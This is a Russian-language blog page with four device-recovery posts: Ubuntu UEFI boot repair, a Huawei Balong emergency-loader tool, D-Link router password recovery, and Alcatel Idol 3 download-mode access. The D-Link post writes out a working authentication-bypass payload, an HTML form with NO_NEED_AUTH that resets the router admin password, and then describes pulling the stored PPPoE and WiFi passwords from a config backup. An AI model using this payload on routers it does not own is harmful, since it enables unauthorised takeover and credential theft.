Показаны сообщения с ярлыком восстановление. Показать все сообщения
Показаны сообщения с ярлыком восстановление. Показать все сообщения

вторник, 25 июля 2017 г.

Ubuntu. UEFI. Восстановление загрузки.

Сегодня мы рассмотрим с вами один из вариантов восстановления загрузки Ubuntu 16.04, установленной в режиме UEFI. Предыстория этого эпизода очень простая - на ПК были установлены две ОС - Ubuntu и Windows 10, при этом разбиение по разделам было "хитрым", т.е. на одном диске был загрузочный раздел EFI System (ESP), а также раздел Linux filesystem и Linux своп, а на другом диске был системный раздел NTFS Windows и еще один дополнительный раздел ext4 от Linux. который монтировался в отдельную папку. Материнская плата - Asus Z170-P. Потребовалось просто физически переставить всю эту систему, т.е. материнскую плату, накопители и т.п. в другой корпус. Однако, после включения Ubuntu уже не загружалась :( Начнем с того что в обычном варианте загрузки (когда все работает и Ubuntu, и Windows установлены с использованием UEFI) мы видим в BIOS'е следующие варианты загрузки:


Т.е.:
  • Ubuntu
  • Windows Boot Manager
Однако, после переустановки MB и накопителей в другой корпус вариант загрузки с Ubuntu просто пропал. Что могло произойти? GRUB находящийся на разделе с Ubuntu никуда не делся, его конфигурация тоже вообщем-то не изменилась, однако, из списка доступных типов загрузки вариант с Ubuntu просто пропал. Попытка выбрать накопитель с установленной Ubuntu в качестве приоритетного для загрузки - тоже вообщем-то ничего не дала, т.к. BIOS находил Windows Boot Manager и упрямо загружал Windows. В интернете можно найти множество потрясающих (в хорошем смысле этого слова), но бесполезных в данной ситуации мануалов (приведу ссылки на них, т.к. ситуации возможны разные и информация в любом случае будет полезной):


Но в большинстве из них не приводится информация о восстановлении загрузки именно в UEFI режиме или найти ее достаточно сложно или же рекомендуется использовать утилиту boot-repair,  которой нет на LiveCD по-умолчанию. А между тем все достаточно просто.

Загружаемся с LiveCD с Ubuntu через UEFI (если у вас ПК подключен через HDMI может возникнуть проблема с загрузкой с LiveCD, решается она добавлением параметра nomodeset, как описано здесь), в крайнем случае если GUI не стартует - переключаемся на текстовую консоль (Ctrl-Alt-F1). Далее смотрим какие разделы у нас есть с помощью sudo fdisk -l :

Device        Start      End  Sectors  Size Type
/dev/sda1      2048  1128447  1126400  550M EFI System
/dev/sda2   1128448 79626398 78497951 37.4G Linux filesystem
/dev/sda3  79628288 85917854  6289567    3G Linux swap

Здесь наша задача определить загрузочный EFI раздел. Как мы видим - это /dev/sda1. Монтируем раздел /dev/sda1 так - sudo mount /dev/sda1 /mnt и убеждаемся в том в ней есть EFI загрузчик Ubuntu /EFI/ubuntu/grubx64.efi :


Теперь осталось только прописать этот вариант загрузки в BIOS:
efibootmgr -c -d /dev/sda -p НОМЕР_РАЗДЕЛА -L "Ubuntu" -l "\Efi\ubuntu\grubx64.efi"

В нашем случае НОМЕР_РАЗДЕЛА = 1, т.к. EFI System находится на /dev/sda1. Еще несколько полезных возможностей efibootmgr:

  • sudo efibootmgr - просмотреть список доступных вариантов загрузки.
  • sudo efibootmgr --bootnum xxxx --delete-bootnum - удалить вариант с номером xxxx.
Вот и все, перезагружаем ПК, выбираем в UEFI Bios первичным только что добавленный нами вариант загрузки "Ubuntu" и радуемся работающей ОС. 

пятница, 4 марта 2016 г.

Balong USB Downloader. Аварийная загрузка usbloader.bin на Huawei и восстановление прошивки.

В этом посте я вкратце расскажу про небольшую Windows утилиту с GUI интерфейсом Balong USB Downloader, предназначенную для для аварийной USB-загрузки модемов на чипсете Balong V2R7 и V2R11. Утилита позволяет загрузить внешний загрузчик-прошивальщик через аварийный USB-serial порт загрузки, создаваемый модемом при повреждении прошивки или замыкании на землю контакта аварийной загрузки на плате модема.

Balong USB Donwloader полностью переписана на Object Pascal (Delphi), основываясь на исходниках проекта уважаемого forth32 - balong-usbdload. Т.е. фактически это не надстройка и не оболочка над консольной версией balong-usbdload, а полноценное Win32 приложение, написанное "с нуля".

На тему модемов и роутеров Huawei, основанных на чипсетах Balong существует уже немало информации (в основном благодаря вкладу таких пользователей, как forth32, rust3028, vve и других), с которой вы можете ознакомиться на профильных форумах. Аварийный загрузчик в этих модемах запускается при замыкании соответствующего контакта на плате модема на землю, либо при повреждении прошивки устройства. Загрузчик стартует автоматически и берет на себя управление прошивочным процессом. Именно для загрузки аварийного загрузчика в модем и предназначена эта утилита. Сами загрузчики для различных моделей модемов в комплект не входят. Важное замечание - фирменные Huawei'еские загрузчики usbloader.bin при старте производят форматирование разделов модема, включая NVRAM, поэтому для восстановления прошивки на модеме без потери текущего содержимого NVRAM они не подходят. Однако, благодаря forth32 для некоторых устройств были собраны альтернативные загрузчики - usbsafe-xxx.bin, которые не затирают NVRAM и запускают процесс прошивки.

Таким образом, используя патченный (альтернативный) аварийный загрузчик, можно перепрошить устройство на любую версию прошивки, даже если штатно обновление прошивки заблокировано и сделать массу других вещей. Ну а для загрузки аварийного загрузчика в устройство, как раз и предназначена Balong USB Downloader. Тема использования аварийного загрузчика для восстановления прошивки и т.п. достаточно объемная, поэтому рассматривать ее в этом посте я не буду (это как раз тема для отдельной статьи). Здесь мы лишь ограничимся рассмотрением возможностей самой программы.


Основные возможности утилиты:
  • Работа с аварийным USB-serial портом загрузки (BOOT_3G), возможность загрузки внешнего загрузчика-прошивальщика.
  • Полноценный user-friendly ;) GUI интерфейс. 
  • Определение имен, а также VID/PID всех COM-портов и модемов в системе по нажатию кнопки "1. Detect".
  • Автоматический выбор BOOT_3G порта в списке по VID_12D1&PID_1443, данный порт автоматически помечается в списке найденных устройств как [BOOT_3G].
  • Отображение системной информации о структуре секций аварийного загрузчика. Подсчет количества пакетов при загрузке.

Что планируется?
  • Добавить картинки и краткие инструкции по поиску контакта аварийной загрузки на плате.
  • Рассмотреть возможность автоматического старта процесса загрузки выбранного usbloader.bin сразу же после появления порта BOOT_3G в системе.
  • Вынесение работы с COM-портом в отдельный поток, чтобы во время процесса загрузки его можно было прервать и чтобы не создавалось ощущение того, что программа зависла, не отвечает в случае если вы выбрали не тот COM-порт для загрузки.

История версий 
  • 1.0.0.5  - первая полнофукцниональная beta приложения.
  • 1.0.1.10 - первый релиз (предпоследняя цифра номер релиза) приложения. Исправлены ошибки предыдущих версий. Добавлена полоска progress bar'а для визуализации прогресса загрузки.


Использование утилиты Balong USB Downloader совместно с патченным загрузчиком usbsafe-xxx.bin я рассмотрю в одном из следующих постов на конкретном примере, а именно - обновлении / даунгрейде прошивки модема МТС 829F/827F (Huawei E3372H) 21.315.01.00.143 на любую другую. Как известно (по сообщениям пользователей), модем с данной версией прошивки является "непрошиваемым", т.е. при попытке понизить версию прошивки модем "вываливается" из режима прошивки в рабочий режим, однако, с помощью загрузки аварийного загрузчика с помощью Balong USB Downloader и метода "иголки" можно залить в него любую прошивку. Этим мы и займемся в одном из следующих постов ... 

пятница, 15 января 2016 г.

D-Link DIR-300/DIR-320/DIR-600. Восстановление забытого пароля.

Представим себе, что вы попали в ситуацию, когда вам надо зайти в web-интерфейс вашего D-Link DIR-320, а пароль администратора вы не помните. Или возьмем более общую ситуацию, когда вам нужно помочь кому-нибудь настроить новый роутер, вместо старого DIR-320, однако, обратившийся за помощью к вам владелец не помнит абсолютно ничего. Т.е. ни пароля для входа в web-интерфейс, ни пароля для PPPoE соединения, ни пароля для WiFi. Очевидный путь в данной ситуации - это просто отложить DIR-320 в сторону, дозвониться до тех. поддержки провайдера, "сбросить" пароль PPPoE и настроить новый роутер. Однако, есть способ проще, который позволяет достать всю необходимую информацию, непосредственно из имеющегося роутера.

Рассматривать сложные варианты, с созданием PPPoE концентратора на Mikrotik'е для того, чтобы узнать пароль к PPPoE мы не будем. Хотя такой подход тоже имеет место. Вместо этого мы воспользуемся exploit'ом D-Link DIR-300 Multiple Security Bypass Vulnerabilities для получения доступа к нашему роутеру.

Создадим в блокноте файл login.html со следующим содержанием:

<form action="http://192.168.0.1:80/tools_admin.php" method="POST">
<input type="hidden" name="ACTION_POST" value="LOGIN">
<input type="hidden" name="LOGIN_USER" value="a">
<input type="hidden" name="LOGIN_PASSWD" value="b">
<input type="hidden" name="login" value="+Log+In+">
<input type="hidden" name="NO_NEED_AUTH" value="1">
<input type="hidden" name="AUTH_GROUP" value="0">
<input type="hidden" name="admin_name" value="admin">
<input type="hidden" name="admin_password1" value="admin">
<input type="submit">
</form>

И откроем его в браузере. После нажатия кнопки "Отправить", несмотря на появившееся сообщение об ошибке логин и пароль для входа в web-интерфейс будут сброшены на стандартные admin / admin, Так, мы получили доступ к web-интерфейсу. Однако, посмотреть сохраненные в роутере пароли таким образом у нас все равно не получится.

Для того чтобы сделать это, заходим в меню System и выбираем там опцию backup'а настроек устройства на жесткий диск. В результате у нас получается файл config.bin, который как раз и содержит все необходимые нам логины, пароли и явки. Однако, содержимое данного файла в бинарном формате, плюс сжато / зашифровано. Для просмотра содержимого полей логин / пароль в открытом виде нам понадобится утилита RouterPassView v1.62 от Nir Sofer'а. Утилита также поддерживает формат файлов конфигурации от множества других устройств. Открываем полученный config.bin в RoutePassView и видим все необходимое:


Теперь, обладая нужными данными можно приступать к настройке нового роутера. Согласитесь, данный способ куда быстрее, чем связь с ТП провайдера для изменения паролей доступа в интернет. Также, его преимущество в том, что вы также получаете пароль от WiFi и можете настроить беспроводную сеть в новом роутере с теми же учетными данными, чтобы все клиентские устройства, которые уже были настроены на беспроводную сеть старого роутера без каких-либо дополнительных настроек начали соединяться с вновь настроенным роутером.

воскресенье, 20 сентября 2015 г.

Alcatel Idol 3. Активация Download Mode (HS-USB QDLoader 9008).

"В этом посте расскажу вам удивительный секрет ... Кирпичам всем на Qualcomm'е - скажем дружно наше нет!" ;) Именно с таким преподнятым настроением я и пишу этот пост. Если вы периодически читаете мой блог, то наверное видели предыдущий пост в котором я рассказывал о том, как окирпичил свой телефон до состояния в котором он не определялся в ПК вообще никак. Т.е. ни Android HS-USB QDLoader 9008, необходимый для прошивки не появлялся, ни вообще что-либо. Единственное что умел телефон - это включать светодиод на передней панели при подаче питания через USB. Отчаявшись, я варварским методом (с помощью отвертки) разобрал телефон и попытался найти testpoint методом "научного тыка". Т.е. вслепую. Надо отдать должное компании Alcatel - ибо даже эти попытки замыкания всех подряд контактов на массу телефон пережил (никогда так не делайте). А решение пришло совершенно неожиданно, после разговора с ruslan_3_, который уже описывал данный способ восстановления в нескольких ветках, посвященных устройствам от Alcatel.

На самом деле все очень просто. Если ваш телефон не определятся при подключении к ПК уже никак, то еще не все потеряно. Есть способ получить доступ к Android HS-USB QDLoader 9008 COM-порту, с помощью которого аппарат можно прошить с помощью QFIL или любого другого аналогичного софта (прошивку для аппарата под QFIL в этом посте я выкладывать не буду, т.к. ремкомлпект все еще не готов, собственно в попытках его создания я и окирпичил свой девайс). Я восстановил аппарат прошивкой поврежденных у меня разделов через QFIL, вы же можете попробовать поднять аппарат который находится в состоянии QDLoader 9008 (Download Mode) через тот же Mobile Upgrade. В этом посте я только расскажу о том, как нам получить QDLoader 9008, когда уже "все потеряно".

Итак, нам понадобится самый обычный USB-кабель типа "папа-папа", т.е. USB-A - USB-A, вот такой:


И обычный USB - OTG кабель, т.е. вот такой:


Далее мы просто соединяем все это в единое целое и подключаем к телефону:


После чего вставляем контакты батареи ... и в ПК у нас появляется Android HS-USB QDLoader 9008 COM-порт:


Всё. После этого телефон можно прошивать. Как видите, все успешно:


Ну и еще один момент. Если вам когда-нибудь придется разбирать телефон, делайте это аккуратно и с помощью специальных приспособлений, например, такого как показано в этом видео по разборке, иначе, если из подручных средств у вас будет только отвертка, как было в моем случае (а я, честно говоря, когда разбирал его в надежде найти testpoint уже просто отчаялся и на внешний вид мне было наплевать), есть риск получить вот такой вот варварски изуродованный корпус:


Плюс будьте аккуратны с контактными площадками, на которых располагаются кнопки, т.к., я например, умудрился нечаянно оторвать площадку от кнопки "Громкость-", в результате она у меня не нажимается, т.к. нажиматься там нечему:


(1) - целая кнопка, (2) - отсутствующая кнопка. Надеюсь все эти ужасы помогут вам быть предельно аккуратными при разборке аппарата (если вдруг таковая понадобится) и не повторять моих ошибок. В моем случае, разборка на самом деле не требовалась, чтобы получить порт для прошивки (9008) нужно было просто подключить аппарат к ПК описанным способом.

Обновлено 25.09.2015 02:04

Ну и небольшая картинка на тему чем отличается USB-OTG кабель от "обычного":